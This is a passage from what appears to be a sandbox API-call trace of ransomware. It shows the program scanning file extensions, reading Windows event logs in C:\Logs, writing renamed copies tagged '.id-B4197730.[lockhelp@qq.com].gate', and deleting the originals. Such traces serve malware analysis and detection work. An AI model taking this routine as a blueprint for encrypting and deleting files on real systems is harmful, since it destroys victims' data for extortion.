lstrlenW (lpString=".ppt") returned 4 [0125.666] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.666] lstrlenW (lpString=".zip") returned 4 [0125.666] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString=".rar") returned 4 [0125.666] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString=".bz2") returned 4 [0125.666] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString=".7z") returned 3 [0125.667] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.667] lstrlenW (lpString=".dbf") returned 4 [0125.667] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.667] lstrlenW (lpString=".1cd") returned 4 [0125.667] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.667] lstrlenW (lpString=".jpg") returned 4 [0125.667] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.667] lstrlenW (lpString=".doc") returned 4 [0125.667] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString=".docx") returned 5 [0125.667] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.667] lstrlenW (lpString=".pdf") returned 4 [0125.667] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString=".xls") returned 4 [0125.667] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString=".xlsx") returned 5 [0125.667] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.667] lstrlenW (lpString=".ppt") returned 4 [0125.667] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.668] lstrlenW (lpString=".zip") returned 4 [0125.668] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.668] lstrlenW (lpString=".rar") returned 4 [0125.668] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.668] lstrlenW (lpString=".bz2") returned 4 [0125.668] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.668] lstrlenW (lpString=".7z") returned 3 [0125.668] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.668] lstrlenW (lpString=".dbf") returned 4 [0125.668] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.668] lstrlenW (lpString=".1cd") returned 4 [0125.668] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.668] lstrlenW (lpString=".jpg") returned 4 [0125.668] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.668] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0125.668] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0125.668] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0125.669] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0125.669] CloseHandle (hObject=0x390) returned 1 [0125.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0125.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0125.669] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0125.669] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0125.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0125.670] GetLastError () returned 0x0 [0125.670] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0126.206] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0126.208] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0126.208] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x134, lpOverlapped=0x0) returned 1 [0126.208] SetEndOfFile (hFile=0x394) returned 1 [0126.210] CloseHandle (hObject=0x394) returned 1 [0126.212] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.212] SetEndOfFile (hFile=0x390) returned 1 [0126.213] CloseHandle (hObject=0x390) returned 1 [0126.213] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0126.213] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0126.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.214] lstrlenW (lpString=".doc") returned 4 [0126.214] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".docx") returned 5 [0126.214] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.214] lstrlenW (lpString=".pdf") returned 4 [0126.214] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".xls") returned 4 [0126.214] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".xlsx") returned 5 [0126.214] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.214] lstrlenW (lpString=".ppt") returned 4 [0126.214] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.214] lstrlenW (lpString=".zip") returned 4 [0126.214] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".rar") returned 4 [0126.214] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".bz2") returned 4 [0126.214] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.214] lstrlenW (lpString=".7z") returned 3 [0126.214] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.215] lstrlenW (lpString=".dbf") returned 4 [0126.215] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.215] lstrlenW (lpString=".1cd") returned 4 [0126.215] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.215] lstrlenW (lpString=".jpg") returned 4 [0126.215] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.215] lstrlenW (lpString=".doc") returned 4 [0126.215] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.215] lstrlenW (lpString=".docx") returned 5 [0126.215] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.216] lstrlenW (lpString=".pdf") returned 4 [0126.216] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString=".xls") returned 4 [0126.216] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString=".xlsx") returned 5 [0126.216] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.216] lstrlenW (lpString=".ppt") returned 4 [0126.216] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.216] lstrlenW (lpString=".zip") returned 4 [0126.216] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString=".rar") returned 4 [0126.216] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString=".bz2") returned 4 [0126.216] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString=".7z") returned 3 [0126.216] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.216] lstrlenW (lpString=".dbf") returned 4 [0126.216] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.217] lstrlenW (lpString=".1cd") returned 4 [0126.217] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0126.217] lstrlenW (lpString=".jpg") returned 4 [0126.217] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.217] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.217] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0126.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0126.217] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0126.217] CloseHandle (hObject=0x390) returned 1 [0126.217] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0126.217] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0126.218] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.218] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0126.219] GetLastError () returned 0x0 [0126.219] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0126.347] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0126.349] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0126.349] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x128, lpOverlapped=0x0) returned 1 [0126.349] SetEndOfFile (hFile=0x394) returned 1 [0126.350] CloseHandle (hObject=0x394) returned 1 [0126.353] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.353] SetEndOfFile (hFile=0x390) returned 1 [0126.355] CloseHandle (hObject=0x390) returned 1 [0126.356] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0126.356] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0126.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.357] lstrlenW (lpString=".doc") returned 4 [0126.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.357] lstrlenW (lpString=".docx") returned 5 [0126.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.358] lstrlenW (lpString=".pdf") returned 4 [0126.358] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString=".xls") returned 4 [0126.358] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString=".xlsx") returned 5 [0126.358] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.358] lstrlenW (lpString=".ppt") returned 4 [0126.358] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.358] lstrlenW (lpString=".zip") returned 4 [0126.358] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString=".rar") returned 4 [0126.358] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString=".bz2") returned 4 [0126.358] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString=".7z") returned 3 [0126.358] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.358] lstrlenW (lpString=".dbf") returned 4 [0126.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.358] lstrlenW (lpString=".1cd") returned 4 [0126.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.358] lstrlenW (lpString=".jpg") returned 4 [0126.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.359] lstrlenW (lpString=".doc") returned 4 [0126.359] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString=".docx") returned 5 [0126.359] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.359] lstrlenW (lpString=".pdf") returned 4 [0126.359] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString=".xls") returned 4 [0126.359] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString=".xlsx") returned 5 [0126.359] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.359] lstrlenW (lpString=".ppt") returned 4 [0126.359] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.359] lstrlenW (lpString=".zip") returned 4 [0126.359] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.359] lstrlenW (lpString=".rar") returned 4 [0126.359] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.360] lstrlenW (lpString=".bz2") returned 4 [0126.360] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.360] lstrlenW (lpString=".7z") returned 3 [0126.360] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.360] lstrlenW (lpString=".dbf") returned 4 [0126.360] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.360] lstrlenW (lpString=".1cd") returned 4 [0126.360] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0126.360] lstrlenW (lpString=".jpg") returned 4 [0126.360] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.360] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.360] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0126.360] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0126.362] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0126.362] CloseHandle (hObject=0x394) returned 1 [0126.362] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0126.362] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.364] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0126.364] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.364] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.365] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0126.365] GetLastError () returned 0x0 [0126.365] ReadFile (in: hFile=0x2c0, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0126.442] WriteFile (in: hFile=0x354, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0126.444] ReadFile (in: hFile=0x2c0, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0126.444] WriteFile (in: hFile=0x354, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x138, lpOverlapped=0x0) returned 1 [0126.444] SetEndOfFile (hFile=0x354) returned 1 [0126.445] CloseHandle (hObject=0x354) returned 1 [0126.447] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.447] SetEndOfFile (hFile=0x2c0) returned 1 [0126.448] CloseHandle (hObject=0x2c0) returned 1 [0126.448] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0126.449] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0126.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.449] lstrlenW (lpString=".doc") returned 4 [0126.449] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.449] lstrlenW (lpString=".docx") returned 5 [0126.449] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.449] lstrlenW (lpString=".pdf") returned 4 [0126.449] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.449] lstrlenW (lpString=".xls") returned 4 [0126.449] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.449] lstrlenW (lpString=".xlsx") returned 5 [0126.449] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.449] lstrlenW (lpString=".ppt") returned 4 [0126.449] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString=".zip") returned 4 [0126.450] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString=".rar") returned 4 [0126.450] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString=".bz2") returned 4 [0126.450] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString=".7z") returned 3 [0126.450] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString=".dbf") returned 4 [0126.450] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString=".1cd") returned 4 [0126.450] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString=".jpg") returned 4 [0126.450] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.450] lstrlenW (lpString=".doc") returned 4 [0126.450] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString=".docx") returned 5 [0126.450] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.450] lstrlenW 